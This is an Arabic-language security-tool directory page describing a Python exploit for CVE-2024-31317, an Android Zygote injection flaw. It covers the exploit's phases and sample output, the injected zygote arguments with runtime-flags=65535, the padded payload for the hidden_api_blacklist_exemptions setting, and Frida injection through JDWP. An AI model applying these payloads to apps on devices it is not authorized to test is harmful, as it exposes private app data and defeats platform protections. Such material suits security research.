Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 استغلال تطبيق قابل للتصحيح | Kitploit
أدوات/GitHubGitHub/cleov2/debuggable-app-exploit
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيأمن الجوالالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 استغلال تطبيق قابل للتصحيح

عرض المستودع
123منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال التطبيقات القابلة للتصحيح لثغرة CVE-2024-31317

أداة استغلال مبنية بلغة Python لثغرة CVE-2024-31317 (حقن Zygote في Android) تجعل أي تطبيق Android مثبت قابلًا للتصحيح عن طريق حقن وسائط zygote ضارة عبر إعداد hidden_api_blacklist_exemptions. تتضمن حقن أداة Frida الاختياري للربط في وقت التشغيل.

نظرة عامة

يستغل هذا الاستغلال ثغرة حقن أوامر في عملية Zygote في Android لبدء التطبيقات المستهدفة مع تفعيل علامة debuggable. يتيح ذلك تصحيح JDWP وفحص أي تطبيق دون الحاجة إلى صلاحيات الجذر أو النسخة المخصصة للتصحيح من التطبيق.

بناءً على بحث: تحليل Flanker لـ CVE-2024-31317

رؤية رئيسية: "يمكن استخدام حقل runtime-flags في ZygoteArguments لتمكين خاصية debuggable للتطبيق."

الميزات

  • وضع الكشف التلقائي - يكتشف تلقائيًا UID التطبيق المستهدف ومجموعة التعليمات ودليل البيانات
  • حقن علامة debuggable - يضبط runtime-flags=65535 لتمكين التصحيح
  • إعادة توجيه JDWP - يضبط تلقائيًا إعادة توجيه منفذ JDWP بعد الاستغلال
  • حقن أداة Frida - حقن Frida اختياري للربط في وقت التشغيل عبر JDWP
  • نقاط توقف ذكية - يستخدم نقاط توقف موثوقة تُفعّل تلقائيًا دون تفاعل المستخدم
  • تثبيت تطبيق التصحيح تلقائيًا - يُثبّت التطبيق المساعد إذا لم يكن موجودًا

المتطلبات

  • جهاز Android معرض لثغرة CVE-2024-31317 (قبل تصحيح أمان يونيو 2024)
  • تثبيت ADB وتفعيل تصحيح USB
  • Python 3.10+
  • الحزم المطلوبة: ppadb, jdwplib

التثبيت

ضع الملفات التالية في نفس الدليل:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # البرنامج النصي الرئيسي للاستغلال
├── jdwplib.py                       # مكتبة عميل JDWP
├── app-debug.apk                    # تطبيق مساعد قابل للتصحيح
├── frida-gadget-android-*.so        # أداة Frida (اختياري)
├── frida-gadget.config.so           # تكوين Frida (اختياري)
└── win32/adb.exe                    # ADB لنظام Windows

الاستخدام

الاستخدام الأساسي

root@kitploit:~
python CVE-2024-31317-Debuggable.py

سيطلب منك البرنامج النصي اختيار وضع كشف المعاملات:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

ماذا يفعل

  1. المرحلة 1: استخراج startSeq

    • يبدأ تطبيقًا مساعدًا قابلًا للتصحيح
    • يتصل عبر JDWP ويستخرج قيمة startSeq من إطارات المكدس
    • يغلق التطبيق المساعد
  2. المرحلة 2: حقن وسائط Zygote

    • يبني وسائط zygote ضارة مع runtime-flags=65535 (قابل للتصحيح)
    • يحقن الحمولة في إعداد hidden_api_blacklist_exemptions
    • يوقف التطبيق المستهدف بالقوة ويعيد تشغيله بالوسائط المحقونة
  3. المرحلة 3: ما بعد الاستغلال

    • يضبط إعادة توجيه منفذ JDWP
    • يحقن أداة Frida اختياريًا للربط في وقت التشغيل

مثال على المخرجات

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

التكوين

التطبيق المستهدف

قم بتعديل الثوابت في أعلى البرنامج النصي:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # غيّر إلى اسم حزمة هدفك
DEBUG_APP = "com.debug.app"            # تطبيق مساعد قابل للتصحيح
DEBUG_APK = "app-debug.apk"            # ملف APK للتطبيق المساعد

الكشف التلقائي مقابل القيم الثابتة

وضع الكشف التلقائي (موصى به):

  • يستخدم pm list packages -U للحصول على UID
  • يستخدم dumpsys package للحصول على مجموعة التعليمات ودليل البيانات
  • أكثر موثوقية عبر الأجهزة المختلفة

وضع القيم الثابتة:

  • يستخدم القيم الافتراضية (UID=10242, arm64, إلخ)
  • أسرع ولكنه أقل موثوقية إذا كان الجهاز مختلفًا عن القيم الافتراضية

حقن أداة Frida

بعد نجاح الاستغلال، يمكنك حقن أداة Frida اختياريًا:

root@kitploit:~
Inject Frida? (y/N): y

سيقوم البرنامج النصي بما يلي:

  1. دفع frida-gadget.so إلى /data/local/tmp/
  2. نسخه إلى دليل بيانات التطبيق عبر run-as
  3. تعيين نقطة توقف وتحميل الأداة عبر JDWP
  4. إعادة توجيه المنفذين 27042 و27043

أهداف نقاط التوقف

يحاول البرنامج النصي نقاط التوقف هذه حسب الموثوقية:

يجب أن تُفعّل نقاط التوقف العلوية تلقائيًا. إذا انتهت المهلة، اضغط على التطبيق لتفعيل نقاط التوقف البديلة.

الاتصال بـ Frida

بعد الحقن الناجح:

root@kitploit:~
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

بعد الاستغلال

بمجرد نجاح الاستغلال، يعمل التطبيق المستهدف مع تمكين التصحيح:

  1. الاتصال بمصحح JDWP:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. استخدام مصحح Android Studio - الإرفاق بالعملية على المنفذ المعاد توجيهه

  3. استخدام Frida - إذا تم حقن الأداة عبر البرنامج النصي

كيف يعمل

نظرة عامة على الثغرة

CVE-2024-31317 هي ثغرة حقن أوامر في عملية Zygote في Android. من خلال التلاعب بإعداد النظام hidden_api_blacklist_exemptions بإدخال مُصنّع خصيصًا، يمكننا حقن وسائط zygote عشوائية عند تشغيل تطبيق.

المكونات الرئيسية

  1. استخراج startSeq: كل تشغيل تطبيق له رقم تسلسل فريد. نستخرجه من تطبيق قابل للتصحيح عبر JDWP بفحص متغيرات إطارات المكدس.

  2. بناء الحمولة: نبني وسائط zygote تتضمن:

    root@kitploit:~
    --runtime-args
    --setuid=<uid_الهدف>
    --setgid=<gid_الهدف>
    --runtime-flags=65535      # يفعّل جميع علامات التصحيح
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<الحزمة>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<المعمارية>
    --app-data-dir=<دليل_البيانات>
    --package-name=<الحزمة>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. الحقن: تُحقن الحمولة في إعداد النظام مع حشوة محددة لنظام Android 12+:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. التفعيل: إيقاف التطبيق المستهدف بالقوة وإعادة تشغيله، والذي يُطلق مع وسائطنا المحقونة وعلامة debuggable مفعلة.

حقن Frida عبر JDWP

يعمل حقن Frida عن طريق:

  1. الاتصال بالتطبيق القابل للتصحيح عبر JDWP
  2. تعيين نقطة توقف على طريقة تُستدعى بشكل متكرر
  3. عند الوصول إلى نقطة التوقف، استخدام Runtime.load() لتحميل المكتبة المشتركة لأداة Frida
  4. تبدأ الأداة بالتهيئة والاستماع على المنفذ 27042

القيود

  • يعمل فقط على الأجهزة المعرضة لثغرة CVE-2024-31317 (قبل تصحيح أمان يونيو 2024)
  • ليس استغلال جذر - يوفر فقط وصولًا قابلًا للتصحيح للتطبيق المستهدف
  • يتطلب حقن Frida أن يكون التطبيق قيد التشغيل والوصول إلى نقاط التوقف
  • قد تقاوم بعض التطبيقات المُعتمة بشدة ربط Frida

استكشاف الأخطاء وإصلاحها

"فشل في الحصول على startSeq"

  • تأكد من أن تطبيق التصحيح موقّع وقابل للتثبيت بشكل صحيح
  • حاول تشغيل الاستغلال مرة أخرى

"لم يتم الوصول إلى نقطة توقف" أثناء حقن Frida

  • اضغط على التطبيق لتفعيل نقاط توقف اللمس/الرسم
  • تأكد من أن التطبيق في المقدمة

"رفض اتصال Frida"

  • تحقق من إعادة توجيه المنفذ: adb forward --list
  • أعد تشغيل إعادة توجيه المنفذ: adb forward tcp:27042 tcp:27042

الاعتمادات

  • Flanker (flanker017) - البحث الأصلي والشرح المفصل لثغرة CVE-2024-31317
  • typlo - مقتطفات برمجية لإيجاد startSeq عبر فحص JDWP
  • Anonymous941 - تطبيق مرجعي لأدوات حقن Zygote
  • Meta X Red Team - اكتشاف الثغرة الأصلي والإفصاح عنها

المراجع

  • تحليل مفصل لـ CVE-2024-31317 - Flanker
  • استشارة أمان Meta
  • InfoSec Writeup
  • أدوات حقن Zygote لـ Anonymous941
  • توثيق Frida

إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية وأبحاث الأمان المأذون بها فقط. استخدمها فقط على الأجهزة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه الأداة.

الترخيص

ترخيص MIT - راجع ملف LICENSE للتفاصيل.

تنزيل الأداة
الفئةالطريقةالتفعيل
android.os.MessageQueuenextتلقائي - الحلقة الرئيسية تستقصي باستمرار
android.os.BinderexecTransactتلقائي - أي استدعاء IPC/binder
android.app.ActivityThreadhandleMessageتلقائي - المعالج الرئيسي للتطبيق
android.os.HandlerdispatchMessageتلقائي - إرسال الرسائل
android.os.HandlerhandleMessageتلقائي - معالجة الرسائل
android.view.ChoreographerdoFrameتلقائي - استدعاءات الإطار
android.view.ViewdispatchTouchEventيدوي - يتطلب لمسًا
android.view.ViewonDrawيدوي - يتطلب إعادة رسم واجهة المستخدم